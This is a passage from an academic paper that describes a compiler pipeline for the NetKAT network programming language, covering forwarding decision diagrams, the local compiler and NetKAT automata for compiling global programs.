compile global programs, we use a generalization of symbolic
automata [27] to handle the difficult task of generating the state
needed to correctly implement features such as regular forward-
ing paths. Third, to compile virtual programs, we exploit the addi-
tional expressiveness provided by the global compiler to translate
programs on a virtual topology into programs on the underlying
physical topology.

We have built a full working implementation of our compiler
in OCaml, and designed optimizations that reduce compilation
time and the size of the generated forwarding tables. These opti-
mizations are based on general insights related to BDDs (sharing
common structures, rewriting naive recursive algorithms using dy-
namic programming, using heuristic field orderings, etc.) as well
as domain-specific insights specific to SDN (algebraic optimization
of NetKAT programs, per-switch specialization, etc.). To evaluate
the performance of our compiler, we present results from experi-
ments run on a variety of benchmarks. These experiments demon-
strate that our compiler provides improved performance, scales to
networks with tens of thousands of switches, and easily handles
complex features such as virtualization.

Overall, this paper makes the following contributions:

• We present the first complete compiler pipeline for NetKAT that
translates local, global, and virtual programs into forwarding
tables for SDN switches.
• We develop a generalization of BDDs and show how to imple-

ment a local SDN compiler using this data structure as an inter-
mediate representation.
• We describe compilation algorithms for virtual and global pro-

grams based on graph algorithms and symbolic automata.
• We discuss an implementation in OCaml and develop optimiza-

tions that reduce running time and the size of the generated for-
warding tables.
• We conduct experiments that show dramatic improvements over

other compilers on a collection of benchmarks and case studies.

The next section briefly reviews the NetKAT language and discusses
some challenges related to compiling SDN programs, to set the
stage for the results described in the following sections.

2. Overview
NetKAT is a domain-specific language for specifying and reasoning
about networks [4, 11]. It offers primitives for matching and mod-
ifying packet headers, as well combinators such as union and se-
quential composition that merge smaller programs into larger ones.
NetKAT is based on a solid mathematical foundation, Kleene Alge-
bra with Tests (KAT) [20], and comes equipped with an equational
reasoning system that can be used to automatically verify many
properties of programs [11].

Syntax
Naturals n ::= 0 | 1 | 2 | . . .

Fields f ::= f1 | · · · | fk
Packets pk ::= {f1 = n1, · · · , fk = nk}

Histories h ::= 〈pk〉 | pk ::h
Predicates a, b ::= true Identity

| false Drop
| f =n Test
| a + b Disjunction
| a · b Conjunction
| ¬a Negation

Programs p, q ::= a Filter
| f←n Modification
| p + q Union
| p · q Sequencing
| p∗ Iteration
| dup Duplication

Semantics
[[p]] ∈ History→ P(History)

[[true]] h , {h}
[[false]] h , {}

[[f =n]] (pk ::h) ,

{
{pk ::h} if pk .f = n
{} otherwise

[[¬a]] h , {h} \ ([[a]] h)

[[f←n]] (pk ::h) , {pk [f := n]::h}
[[p + q]] h , [[p]] h ∪ [[q]] h

[[p · q]] h , ([[p]] • [[q]]) h

[[p∗]] h ,
⋃
i F

i h

where F 0 h , {h} and F i+1 h , ([[p]] • F i) h
[[dup]] (pk ::h) , {pk ::(pk ::h)}

Figure 1: NetKAT syntax and semantics.

NetKAT enables programmers to think in terms of functions on
packets histories, where a packet (pk ) is a record of fields and a his-
tory (h) is a non-empty list of packets. This is a dramatic departure
from hardware-level APIs such as OpenFlow, which require think-
ing about low-level details such as forwarding table rules, matches,
priorities, actions, timeouts, etc. NetKAT fields f include standard
packet headers such as Ethernet source and destination addresses,
VLAN tags, etc., as well as special fields to indicate the port (pt)
and switch (sw) where the packet is located in the network. For
brevity, we use src and dst fields in examples, though our compiler
implements all of the standard fields supported by OpenFlow [23].

NetKAT syntax and semantics. Formally, NetKAT is defined by
the syntax and semantics given in Figure 1. Predicates a describe
logical predicates on packets and include primitive tests f=n,
which check whether field f is equal to n, as well as the standard
collection of boolean operators. This paper focuses on tests that
match fields exactly, although our implementation supports gener-
alized tests, such as IP prefix matches. Programs p can be under-
stood as packet-processing functions that consume a packet history
and produce a set of packet histories. Filters a drop packets that do
not satisfy a; modifications f←n update the f field to n; unions
p+ q copy the input packet and process one copy using p, the other
copy using q, and take the union of the results; sequences p · q pro-
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cess the input packet using p and then feed each output of p into
q (the • operator is Kleisli composition); iterations p∗ behave like
the union of p composed with itself zero or more times; and dups
extend the trajectory recorded in the packet history by one hop.

Topology encoding. Readers who are familiar with Frenetic [10],
Pyretic [25], or NetCore [24], will be familiar with the basic details
of this functional packet-processing model. However, unlike these
languages, NetKAT can also model the behavior of the entire net-
work, including its topology. For example, a (unidirectional) link
from port pt1 on switch sw1 to port pt2 on switch sw2, can be
encoded in NetKAT as follows:

dup · sw=sw1 · pt=pt1 · sw←sw2 · pt←pt2 · dup

Applying this pattern, the entire topology can be encoded as a
union of links. Throughout this paper, we will use the shorthand
[sw1:pt1]_[sw2:pt2] to indicate links, and assume that dup and
modifications to the switch field occur only in links.

Local programs. Since NetKAT can encode both the network
topology and the behavior of switches, a NetKAT program describes
the end-to-end behavior of a network. One simple way to write
NetKAT programs is to define predicates that describe where pack-
ets enter (in) and exit (out) the network, and interleave steps of
processing on switches (p) and topology (t):

in · (p · t)∗ · p · out

To execute the program, only p needs to be specified—the physical
topology implements in, t, and out. Because no switch modifica-
tions or dups occur in p, it can be directly compiled to a collection
of forwarding tables, one for each switch. Provided the physical
topology is faithful to the encoding specified by in, t, and out, a
network of switches populated with these forwarding tables will
behave like the above program. We call such a switch program p a
local program because it describes the behavior of the network in
terms of hop-by-hop forwarding steps on individual switches.

Global programs. Because NetKAT is based on Kleene algebra,
it includes regular expressions, which are a natural and expressive
formalism for describing paths through a network. Ideally, pro-
grammers would be able to use regular expressions to construct
forwarding paths directly, without having to worry about how those
paths were implemented. For example, a programmer might write
the following to forward packets from port 1 on switch sw1 to port
1 on switch sw2, and from port 2 on sw1 to port 2 on sw2, assum-
ing a link connecting the two switches on port 3:

pt=1 · pt←3 · [sw1:pt3]_[sw2:pt3] · pt←1
+ pt=2 · pt←3 · [sw1:pt3]_[sw2:pt3] · pt←2

Note that this is not a local program, since is not written in the gen-
eral form given above and instead combines switch processing and
topology processing using a particular combination of union and
sequential composition to describe a pair of overlapping forward-
ing paths. To express the same behavior as a local NetKAT program
or in a language such as Pyretic, we would have to somehow write
a single program that specifies the processing that should be done
at each intermediate step. The challenge is that when sw2 receives
a packet from sw1, it needs to determine if that packet originated at
port 1 or 2 of sw1, but this can’t be done without extra information.
For example, the compiler could add a tag to packets at sw1 to track
the original ingress and use this information to determine the pro-
cessing at sw2. In general, the expressiveness of global programs
creates challenges for the compiler, which must generate explicit
code to create and manipulate tags. These challenges have not been
met in previous work on NetKAT or other SDN languages.

Virtual programs. Going a step further, NetKAT can also be used
to specify behavior in terms of virtual topologies. To see why this
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Figure 3: NetKAT compiler pipeline.

is a useful abstraction, suppose that we wish to implement point-
to-point connectivity between a given pair of hosts in a network
with dozens of switches. One could write a global program that
explicitly forwards along the path between these hosts. But this
would be tedious for the programmer, since they would have to
enumerate all of the intermediate switches along the path. A better
approach is to express the program in terms of a virtual “big switch”
topology whose ports are directly connected to the hosts, and where
the relationship between ports in the virtual and physical networks
is specified by an explicit mapping—e.g., the top of Figure 3
depicts a big switch virtual topology. The desired functionality
could then be specified using a simple local program that forwards
in both directions between ports on the single virtual switch:

p , (pt=1 · pt←2) + (pt=2 · pt←1)

This one-switch virtual program is evidently much easier to write
than a program that has to reference dozens of switches. In addition,
the program is robust to changes in the underlying network. If the
operator adds new switches to the network or removes switches
for maintenance, the program remains valid and does not need to
be rewritten. In fact, this program could be ported to a completely
different physical network too, provided it is able to implement the
same virtual topology.

Another feature of virtualization is that the physical-virtual
mapping can limit access to certain switches, ports, and even
packets that match certain predicates, providing a simple form of
language-based isolation [14]. In this example, suppose the physi-
cal network has hundreds of connected hosts. Yet, since the virtual-
physical mapping only exposes two ports, the abstraction guaran-
tees that the virtual program is isolated from the hosts connected
to the other ports. Moreover, we can run several isolated virtual
networks on the same physical network, e.g., to provide different
services to different customers in multi-tenant datacenters [19].
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Pattern Action
? pt←2

polA , pt←2

(a) An atomic modification

Pattern Action
dst=A true
? false

polB , dst=A

(b) An atomic predicate

Pattern Action
dst=A pt←2
? false

polB · polA

(c) Forwarding to a single host

Pattern Action
dst=A pt←1
dst=B pt←2
? false

polD ,
dst=A · pt←1+

dst=B · pt←2

(d) Forwarding traffic to two hosts

Pattern Action
dst=A pt←3
proto=ssh pt←3
? false

polE ,

(
proto=ssh+

dst=A

)
· pt←3

(e) Monitoring SSH traffic and traffic to host A

Figure 2: Compiling using forwarding tables.

Of course, while virtual programs are a powerful abstraction,
they create additional challenges for the compiler since it must
generate physical paths that implement forwarding between virtual
ports and also instrument programs with extra bookkeeping infor-
mation to keep track of the locations of virtual packets traversing
the physical network. Although virtualization has been extensively
studied in the networking community [3, 7, 19, 25], no previous
work fully describes how to compile virtual programs.

Compilation pipeline. This paper presents new algorithms for
compiling NetKAT that address the key challenges related to ex-
pressiveness and performance just discussed. Figure 3 depicts
the overall architecture of our compiler, which is structured as a
pipeline with several smaller stages: (i) a virtual compiler that
takes as input a virtual program v, a virtual topology, and a map-
ping that specifies the relationship between the virtual and physical
topology, and emits a global program that uses a fabric to transit
between virtual ports using physical paths; (ii) a global compiler
that takes an arbitrary NetKAT program g as input and emits a local
program that has been instrumented with extra state to keep track
of the execution of the global program; and a (iii) local compiler
that takes a local program p as input and generates OpenFlow for-
warding tables, using a generalization of binary decision diagrams
as an intermediate representation. Overall, our compiler automat-
ically generates the extra state needed to implement virtual and
global programs, with performance that is dramatically faster than
current SDN compilers.

These three stages are designed to work well together—e.g., the
fabric constructed by the virtual compiler is expressed in terms of
regular paths, which are translated to local programs by the global
compiler, and the local and global compilers both use FDDs as
an intermediate representation. However, the individual compiler
stages can also be used independently. For example, the global
compiler provides a general mechanism for compiling forwarding
paths specified using regular expressions to SDN switches. We
have also been working with the developers of Pyretic to improve
performance by retargeting its backend to use our local compiler.

The next few sections present these stages in detail, starting with
local compilation and building up to global and virtual compilation.

3. Local Compilation
The foundation of our compiler pipeline is a translation that maps
local NetKAT programs to OpenFlow forwarding tables. Recall that
a local program describes the hop-by-hop behavior of individual
switches—i.e. it does not contain dup or switch modifications.

Compilation via forwarding tables. A simple approach to com-
piling local programs is to define a translation that maps primitive
constructs to forwarding tables and operators such as union and
sequential composition to functions that implement the analogous

operations on tables. For example, the current NetKAT compiler
translates the modification pt←2 to a forwarding table with a sin-
gle rule that sets the port of all packets to 2 (Figure 2 (a)), while it
translates the predicate dst=A to a flow table with two rules: the
first matches packets where dst=A and leaves them unchanged and
the second matches all other packets and drops them (Figure 2 (b)).

To compile the sequential composition of these programs, the
compiler combines each row in the first table with the entire second
table, retaining rules that could apply to packets produced by the
row (Figure 2 (c)). In the example, the second table has a single
rule that sends all packets to port 2. The first rule of the first
table matches packets with destination A, thus the second table
is transformed to only send packets with destination A to port
2. However, the second rule of the first table drops all packets,
therefore no packets ever reach the second table from this rule.

To compile a union, the compiler computes the pairwise inter-
section of all patterns to account for packets that may match both
tables. For example, in Figure 2 (d), the two sub-programs for-
ward traffic to hosts A and B based on the dst header. These two
sub-programs do not overlap with each other, which is why the
table in the figure appears simple. However, in general, the two
programs may overlap. Consider compiling the union of the for-
warding program, in Figure 2 (d) and the monitoring program in
Figure 2 (e). The monitoring program sends SSH packets and pack-
ets with dst=A to port 3. The intersection will need to consider all
interactions between pairs of rules—an O(n2) operation. Since a
NetKAT program may be built out of several nested programs and
compilation is quadratic at each step, we can easily get a tower of
squares or exponential behavior.

Approaches based on flow tables are attractive for their sim-
plicity, but they suffer several serious limitations. One issue is that
tables are not an efficient way to represent packet-processing func-
tions since each rule in a table can only encode positive tests on
packet headers. In general, the compiler must emit sequences of
prioritized rules to encode operators such as negation or union.
Moreover, the algorithms that implement these operators are worst-
case quadratic, which can cause the compiler to become a bottle-
neck on large inputs. Another issue is that there are generally many
equivalent ways to encode the same packet-processing function as
a forwarding table. This means that a straightforward computation
of fixed-points, as is needed to implement Kleene star, is not guar-
anteed to terminate.

Binary decision diagrams. To avoid these issues, our compiler
is based on a novel representation of packet-forwarding functions
using a generalization of binary decision diagrams (BDDs) [1, 6].
To briefly review, a BDD is a data structure that encodes a boolean
function as a directed acyclic graph. The interior nodes encode
boolean variables and have two outgoing edges: a true edge drawn
as a solid line, and a false edge drawn as a dashed line. The leaf
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Syntax
Booleans b ::= > | ⊥
Contexts Γ ::= · | Γ, (f, n) : b
Actions a ::= {f1←n1, . . . , fk←nk}

Diagrams d ::= {a1, . . . , ak} Constant
| (f =n ? d1 : d2) Conditional

Semantics

[[{f1←n1, . . . , fk←nk}]] (pk ::h), {pk [f1 := n1] · · · [fk := nk]::h}

[[{a1, . . . , ak}]] (pk ::h), [[a1]] (pk ::h) ∪ · · · ∪ [[ak]] (pk ::h)

[[(f =n ? d1 : d2)]] (pk ::h),

{
[[d1]] (pk ::h) if pk .f = n

[[d2]] (pk ::h) otherwise

Well Formedness

Γ @ (f, n)
· @ (f , n)

NIL

f ′ @ f

Γ, (f ′, n′) : b′ @ (f , n)
LT

f ′ = f n′ @ n

Γ, (f ′, n′) : ⊥ @ (f , n)
EQ

Γ ` d
Γ ` {a1, . . . , ak}

CONSTANT

Γ @ (f , n)
Γ, (f , n) : > ` d1
Γ, (f , n) : ⊥ ` d2

Γ ` (f =n ? d1 : d2)
CONDITIONAL

Figure 5: Forwarding decision diagrams: syntax, semantics, and well formedness.

proto=http

dst=10.0.0.1

dst=10.0.0.2

pt←1pt←2false

(a) proto @ dst.

dst=10.0.0.1

dst=10.0.0.2

proto=http

pt←1pt←2false

(b) dst @ proto.

Figure 4: Two ordered FDDs for the same program.

nodes encode constant values true or false. Given an assignment
to the variables, we can evaluate the expression by following the
appropriate edges in the graph. An ordered BDD imposes a total
order in which the variables are visited. In general, the choice of
variable-order can have a dramatic effect on the size of a BDD and
hence on the run-time of BDD-manipulating operations. Picking
an optimal variable-order is NP-hard, but efficient heuristics often
work well in practice. A reduced BDD has no isomorphic subgraphs
and every interior node has two distinct successors. A BDD can be
reduced by repeatedly applying these two transformations:

• If two subgraphs are isomorphic, delete one by connecting its
incoming edges to the isomorphic nodes in the other, thereby
sharing a single copy of the subgraph.
• If both outgoing edges of an interior node lead to the same suc-

cessor, eliminate the interior node by connecting its incoming
edges directly to the common successor node.

Logically, an interior node can be thought of as representing an
IF-THEN-ELSE expression.1 For example, the expression:

(a ? (c ? 1 : (d ? 1 : 0)) : (b ? (c ? 1 : (d ? 1 : 0)) : 0))

represents a BDD for the boolean expression (a∨ b)∧ (c∨ d). This
notation makes the logical structure of the BDD clear while abstract-
ing away from the sharing in the underlying graph representation
and is convenient for defining BDD-manipulating algorithms.

In principle, we could use BDDs to directly encode NetKAT
programs as follows. We would treat packet headers as flat, n-bit

1 We write conditionals as (a ? b : c), in the style of the C ternary operator.

vectors and encode NetKAT predicates as n-variable BDDs. Since
NetKAT programs produce sets of packets, we could represent them
in a relational style using BDDs with 2n variables. However, there
are two issues with this representation:

• Typical NetKAT programs modify only a few headers and leave
the rest unchanged. The BDD that represents such a program
would have to encode the identity relation between most of
its input-output variables. Encoding the identity relation with
BDDs requires a linear amount of space, so even trivial pro-
grams, such as the identity program, would require large BDDs.
• The final step of compilation needs to produce a prioritized

flow table. It is not clear how to efficiently translate BDDs
that represent NetKAT programs as relations into tables that
represent packet-processing functions. For example, a table of
length one is sufficient to represent the identity program, but to
generate this table from the BDD sketched above, several paths
would have to be compressed into a single rule.

Forwarding Decision Diagrams. To encode NetKAT programs as
decision diagrams, we introduce a modest generalization of BDDs
called forwarding decision diagrams (FDDs). An FDD differs from
BDDs in two ways. First, interior nodes match header fields instead
of individual bits, which means we need far fewer variables com-
pared to a BDD to represent the same program. Our FDD imple-
mentation requires 12 variables (because OpenFlow supports 12
headers), but these headers span over 200 bits. Second, leaf nodes
in an FDD directly encode packet modifications instead of boolean
values. Hence, FDDs do not encode programs in a relational style.

Figures 4a and 4b show FDDs for a program that forwards HTTP
packets to hosts 10.0.0.1 and 10.0.0.2 at ports 1 and 2 respectively.
The diagrams have interior nodes that match on headers and leaf
nodes corresponding to the actions used in the program.

To generalize ordered BDDs to FDDs, we assume orderings
on fields and values, both written @, and lift them to tests f =n
lexicographically:

f1=n1 @ f2=n2 , (f1 @ f2) ∨ (f1 = f2 ∧ n1 @ n2)

We require that tests be arranged in ascending order from the root.
For reduced FDDs, we stipulate that they must have no isomor-
phic subgraphs and that each interior node must have two unique
successors, as with BDDs, and we also require that the FDD must
not contain redundant tests and modifications. For example, if the
test dst=10.0.0.1 is true, then dst=10.0.0.2 must be false. Ac-
cordingly, an FDD should not perform the latter test if the for-
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d1 + d2 {a11, . . . , a1k}+ {a21, . . . , a2l}, {a11, . . . , a1k} ∪ {a21, . . . , a2l}
(f =n ? d11 : d12) + {a21, . . . a2l}, (f =n ? d11 + {a21, . . . a2l} : d12 + {a21, . . . a2l})

(f1=n1 ? d11 : d12) + (f2=n2 ? d21 : d22),


(f1=n1 ? d11 + d21 : d12 + d22) if f1 = f2 and n1 = n2

(f1=n1 ? d11 + d22 : d12 + (f2=n2 ? d21 : d22)) if f1 = f2 and n1 @ n2

(f1=n1 ? d11 + (f2=n2 ? d21 : d22) : d12 + (f2=n2 ? d21 : d22)) if f1 @ f2
(omitting symmetric cases)

d |f=n {a1, . . . , ak}|f=n, (f =n ? {a1, . . . , ak} : {})

(f1=n1 ? d11 : d12) |f=n,


(f =n ? d11 : {}) if f = f1 and n = n1

(d12) |f=n if f = f1 and n 6= n1

(f =n ? (f1=n1 ? d11 : d12) : {}) if f @ f1

(f1=n1 ? (d11) |f=n : (d12) |f=n) otherwise

d1 · d2 a · {a1, . . . , ak} , {a · a1, . . . , a · ak}

a · (f =n ? d1 : d2) ,


a · d1 if f←n ∈ a
a · d2 if f←n′ ∈ a ∧ n′ 6= n

(f =n ? a · d1 : a · d2) otherwise
{a1, . . . , ak} · d , a1 · d+ . . .+ ak · d

(f =n ? d11 : d12) · d2 , (d11 · d2) |f=n +(d12 · d2) |f 6=n

¬d ¬{} , {{}}
¬ {a1, . . . , ak} , {} where k ≥ 1

¬(f =n ? d1 : d2) , (f =n ?¬d1 :¬d2)

d∗ d∗ , fix (λd′. {{}}+ d · d′)

Figure 6: Auxiliary definitions for local compilation to FDDs.

mer succeeds. Similarly, because NetKAT’s union operator (p + q)
is associative, commutative, and idempotent, to broadcast pack-
ets to both ports 1 and 2 we could either write pt←1 + pt←2
or pt←2 + pt←1. Likewise, repeated modifications to the same
header are equivalent to just the final modification, and modifica-
tions to different headers commute. Hence, updating the dst header
to 10.0.0.1 and then immediately re-updating it to 10.0.0.2 is the
same as updating it to 10.0.0.2. In our implementation, we enforce
the conditions for ordered, reduced FDDs by representing actions as
sets of sets of modifications, and by using smart constructors that
eliminate isomorphic subgraphs and contradictory tests.

Figure 5 summarizes the syntax, semantics, and well-formedness
conditions for FDDS formally. Syntactically, an FDD d is either a
constant diagram specified by a set of actions {a1, . . . , ak}, where
an action a is a finite map {f1←n1, . . . , fk←nk} from fields to
values such that each field occurs at most once; or a conditional
diagram (f =n ? d1 : d2) specified by a test f =n and two sub-
diagrams. Semantically, an action a denotes a sequence of modifi-
cations, a constant diagram {a1, . . . , ak} denotes the union of the
individual actions, and a conditional diagram (f =n ? d1 : d2) tests
if the packet satisfies the test and evaluates the true branch (d1)
or false branch (d2) accordingly. The well-formedness judgments
Γ @ (f, n) and Γ ` d ensure that tests appear in ascending order
and do not contradict previous tests to the same field. The context
Γ keeps track of previous tests and boolean outcomes.

Local compiler. Now we are ready to present the local compiler
itself, which goes in two stages. The first stage translates NetKAT
source programs into FDDs, using the simple recursive translation
given in Figures 6 and 7.
The NetKAT primitives true , false , and f←n all compile to simple
constant FDDs. Note that the empty action set {} drops all packets
while the singleton action set {{}} containing the identity action
{} copies packets verbatim. NetKAT tests f =n compile to a condi-
tional whose branches are the constant diagrams for true and false
respectively. NetKAT union, sequence, negation, and star all recur-

L[[false]] , {} L[[f←n]] , {{f←n}}
L[[true]] , {{}} L[[f =n]] , (f =n ? {{}} : {})
L[[¬p]] , ¬L[[p]] L[[p1 + p2]] , L[[p1]] + L[[p2]]

L[[p∗]] , L[[p]]∗ L[[p1 · p2]] , L[[p1]] · L[[p2]]

Figure 7: Local compilation to FDDs.

sively compile their sub-programs and combine the results using
corresponding operations on FDDs, which are given in Figure 6.

The FDD union operator (d1 + d2) walks down the structure
of d1 and d2 and takes the union of the action sets at the leaves.
However, the definition is a bit involved as some care is needed to
preserve well-formedness. In particular, when combining multiple
conditional diagrams into one, one must ensure that the ordering on
tests is respected and that the final diagram does not contain contra-
dictions. Readers familiar with BDDs may notice that this function
is simply the standard “apply” operation (instantiated with union at
the leaves). The sequential composition operator (d1 · d2) merges
two packet-processing functions into a single function. It uses aux-
iliary operations d |f=n and d |f 6=n to restrict a diagram d by a
positive or negative test respectively. We elide the sequence opera-
tor on atomic actions (which behaves like a right-biased merge of
finite maps) and the negative restriction operator (which is similar
to positive restriction, but not identical due to contradictory tests)
to save space. The first few cases of the sequence operator han-
dle situations where a single action on the left is composed with
a diagram on the right. When the diagram on the right is a con-
ditional, (f =n ? d1 : d2), we partially evaluate the test using the
modifications contained in the action on the left. For example, if
the left-action contains the modification f←n, we know that the
test will be true, whereas if the left-action modifies the field to an-
other value, we know the test will be false. The case that handles

333



proto=http

dst=10.0.0.1

dst=10.0.0.2

pt←1pt←2false

Pattern Action
proto=http, dst=10.0.0.1 pt←1
proto=http, dst=10.0.0.2 pt←2
proto=http false
? false

Figure 8: Forwarding table generation example.

sequential composition of a conditional diagram on the left is also
interesting. It uses restriction and union to implement the composi-
tion, reordering and removing contradictory tests as needed to en-
sure well formedness. The negation ¬d operator is defined in the
obvious way. Note that because negation can only be applied to
predicates, the leaves of the diagram d are either {} or {{}}. Fi-
nally, the FDD Kleene star operator d∗ is defined using a straight-
forward fixed-point computation. The well-formedness conditions
on FDDs ensures that a fixed point exists.

The soundness of local compilation from NetKAT programs to
FDDs is captured by the following theorem:

Theorem 1 (Local Soundness). If L[[p]] = d then [[p]] h = [[d]] h .

Proof. Straightforward induction on p.

The second stage of local compilation converts FDDs to for-
warding tables. By design, this transformation is mostly straight-
forward: we generate a forwarding rule for every path from the root
to a leaf, using the conjunction of tests along the path as the pat-
tern and the actions at the leaf. For example, the FDD in Figure 8
has four paths from the root to the leaves so the resulting forward-
ing table has four rules. The left-most path is the highest-priority
rule and the right-most path is the lowest-priority rule. Traversing
paths from left to right has the effect of traversing true-branches
before their associated false-branches. This makes sense, since the
only way to encode a negative predicate is to partially shadow a
negative-rule with a positive-rule. For example, the last rule in the
figure cannot encode the test proto 6=http. However, since that rule
is preceded by a pattern that tests proto=http, we can reason that
the proto field is not HTTP in the last rule. If performed naively,
this strategy could create a lot of extra forwarding rules—e.g., the
table in Figure 8 has two drop rules, even though one of them com-
pletely shadows the other. In section 6, we discuss optimizations
that eliminate redundant rules, exploiting the FDD representation.

4. Global Compilation
Thus far, we have seen how to compile local NetKAT programs into
forwarding tables using FDDs. Now we turn to the global compiler,
which translates global programs into equivalent local programs.

In general, the translation from global to local programs re-
quires introducing extra state, since global programs may use reg-
ular expressions to describe end-to-end forwarding paths—e.g., re-
call the example of a global program with two overlapping paths
from Section 2. Put another way, because a local program does
not contain dup, the compiler can analyze the entire program and
generate an equivalent forwarding table that executes on a single
switch, whereas the control flow of a global program must be made
explicit so execution can be distributed across multiple switches.
More formally, a local program encodes a function from packets to
sets of packets, whereas a global program encodes a function from
packets to sets of packet-histories.

To generate the extra state needed to encode the control flow
of a global, distributed execution into a local program, the global
compiler translates programs into finite state automata. To a first
approximation, the automaton can be thought of as the one for
the regular expression embedded in the global program, and the
instrumented local program can be thought of as encoding the
states and transitions of that automaton in a special header field.
The actual construction is a bit more complex for several reasons.
First, we cannot instrument the topology in the same way that we
instrument switch terms. Second, we have to be careful not to
introduce extra states that may lead to duplicate packet histories
being generated. Third, NetKAT programs have more structure than
ordinary regular expressions, since they denote functions on packet
histories rather than sets of strings, so a more complicated notion
of automaton—a symbolic NetKAT automaton—is needed.

At a high-level, the global compiler proceeds in several steps:

• It compiles the input program to an equivalent symbolic au-
tomaton. All valid paths through the automaton alternate be-
tween switch-processing states and topology-processing states,
which enables executing them as local programs.
• It introduces a program counter by instrumenting the automa-

ton to keep track of the current automaton state in the pc field.
• It determinizes the NetKAT automaton using an analogue of the

subset construction for finite automata.
• It uses heuristic optimizations to reduce the number of states.
• It merges all switch-processing states into a single switch state

and all topology-processing states into a single topology state.

The final result is a single local program that can be compiled using
the local compiler. This program is equivalent to the original global
program, modulo the pc field, which records the automaton state.

4.1 NetKAT Automata
In prior work, some of the authors introduced NetKAT automata and
proved the analogue of Kleene’s theorem: programs and automata
have the same expressive power [11]. This allows us to use au-
tomata as an intermediate representation for arbitrary NetKAT pro-
grams. This section reviews NetKAT automata, which are used in
the global compiler, and then presents a function that constructs an
automaton from an arbitrary NetKAT program.

Definition 1 (NetKAT Automaton). A NetKAT automaton is a tuple
(S, s0, ε, δ), where:

• S is a finite set of states,
• s0 ∈ S is the start state,
• ε : S → Pk→ P(Pk) is the observation function, and
• δ : S → Pk→ P(Pk× S) is the continuation function.

A NetKAT automaton is said to be deterministic if δ maps each
packet to a unique next state at every state, or more formally if

|
{
s′ : S | (pk′, s′) ∈ δ s pk

}
| ≤ 1

for all states s and packets pk and pk′.
The inputs to NetKAT automata are guarded strings drawn from

the set Pk · (Pk · dup)∗ · Pk. That is, the inputs have the form

pk in · pk1 · dup · pk2 · dup · · · pkn · dup · pkout

where n ≥ 0. Intuitively, such strings represent packet-histories
through a network: pk in is the input state of a packet, pkout is the
output state, and the pk i are the intermediate states of the packet
that are recorded as it travels through the network.

To process such a string, an automaton in state s can either
accept the trace if n = 0 and pkout ∈ ε s pk in , or it can consume
one packet and dup from the start of the string and transition to
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p E [[p]] : Pol D[[p]] : P(Pol× L× Pol)
a a ∅

f←n f←n ∅
dup` false {〈true, `, true〉}
q + r E [[q]] + E [[r]] D[[q]] ∪ D[[r]]
q · r E [[q]] · E [[r]] D[[q]] · r ∪ E [[q]] · D[[r]]
q∗ E [[q]]∗ E [[q∗]] · D[[q]] · q∗

Figure 9: Auxiliary definitions for NetKAT automata construction.

state s′ if n > 0 and (pk1, s
′) ∈ δ s pk in . In the latter case, the

automaton yields a residual trace:

pk1 · pk2 · dup · · · pkn · dup · pkout

Note that the “output” pk1 of state s becomes the “input” to the
successor state s′. More formally, acceptance is defined as:

accept s (pk in · pkout) ⇔ pkout ∈ ε s pk in

accept s (pk in · pk1 · dup · w) ⇔
∨

(pk1,s
′)∈ δ s pk in

accept s′(pk1 · w)

Next, we define a function that builds an automaton A(p) from
an arbitrary NetKAT program p such that

(pkout ::pkn:: . . . ::〈pk1〉) ∈ [[p]]〈pkin〉
⇔ acceptA(p) s0 (pk in · pk1 · dup · . . . · pkout)

The construction is based on Antimirov partial derivatives for reg-
ular expressions [5]. We fix a set of labels L, and annotate each oc-
currence of dup in the source program p with a unique label ` ∈ L.
We then define a pair of functions:

• E [[·]] : Pol→ Pol and
• D[[·]] : Pol→ P(Pol× L× Pol)

Intuitively, E [[p]] can be thought of as extracting the local compo-
nents from p (and will be used to construct ε), while D[[p]] extracts
the global components (and will be used to construct δ). A triple
〈d, `, k〉 ∈ D[[p]] represents the derivative of pwith respect to dup`.
That is, d is the dup-free component of p up to dup`, and k is the
residual program (or continuation) of p after dup`.

We calculate E [[p]] and D[[p]] simultaneously using a simple
recursive algorithm defined in Figure 9. The definition makes use
of the following abbreviations,

D[[p]] · q , {〈d, `, k · q〉 | 〈d, `, k〉 ∈ D[[p]]}
q · D[[p]] , {〈q · d, `, k〉 | 〈d, `, k〉 ∈ D[[p]]}

which lift sequencing to sets of triples in the obvious way.
The next lemma characterizes E [[p]] andD[[p]], using the follow-

ing notation to reconstruct programs from sets of triples:∑
D[[p]] ,

∑
〈d,`,k〉∈D[[p]]

d · dup · k

Lemma 1 (Characterization of E [[·]] and D[[·]]). For all programs
p, we have the following:

(a) p ≡ E [[p]] +
∑
D[[p]].

(b) E [[p]] is a local program.
(c) For all 〈d, `, k〉 ∈ D[[p]], d is a local program.
(d) For all labels ` in p, there exist unique programs d and k such

that 〈d, `, k〉 ∈ D[[p]].
Proof. By structural induction on p. Claims (b − d) are trivial.
Claim (a) can be proved purely equationally using only the NetKAT
axioms and the KAT-DENESTING rule from [4].

Lemma 1 (d) allows us to write k` to refer to the unique continua-
tion of dup`. By convention, we let k0 denote the “initial continua-
tion,” namely p.

Definition 2 (Program Automaton). The NetKAT automaton A(p)
for a program p is defined as (S, s0, ε, δ) where

• S is the set of labels occurring in p, plus the initial label 0.
• s0 , 0
• ε ` pk , {pk ′ | 〈pk′〉 ∈ [[E [[k`]]]]〈pk〉}
• δ ` pk , {(pk ′, `′) | 〈d, `′, k〉 ∈ D[[k`]] ∧ 〈pk′〉 ∈ [[d]]〈pk〉}

Theorem 2 (Program Automaton Soundness). For all programs p,
packets pk and histories h , we have

h ∈ [[p]]〈pk in〉 ⇔ accept s0 (pk in ·pk1 ·dup·· · ··pkn ·dup·pkout)

where h = pkout ::pkn:: · · · ::〈pk1〉.
Proof. We first strengthen the claim, replacing 〈pkin〉 with an arbi-
trary history pkin ::h ′, s0 with an arbitrary label ` ∈ S, and p with
k`. We then proceed by induction on the length of the history, using
Lemma 1 for the base case and induction step.

4.2 Local Program Generation
With a NetKAT automaton A(p) for the global program p in hand,
we are now ready to construct a local program. The main idea is to
make the state of the global automaton explicit in the local program
by introducing a new header field pc (represented concretely using
VLANs, MPLS tags, or any other unused header field) that keeps
track of the state as the packet traverses the network. This encoding
enables simulating the automaton for the global program using a
single local program (along with the physical topology). We also
discuss determinization and optimization, which are important for
correctness and performance.

Program counter. The first step in local program generation is to
encode the state of the automaton into its observation and transition
functions using the pc field. To do this, we use the same structures
as are used by the local compiler, FDDs. Recall that the observa-
tion function ε maps input packets to output packets according to
E [[k`]], which is a dup-free NetKAT program. Hence, we can encode
the observation function for a given state ` as a conditional FDD that
tests whether pc is ` and either behaves like the FDD for E [[k`]] or
false . We can encode the continuation function δ as an FDD in a
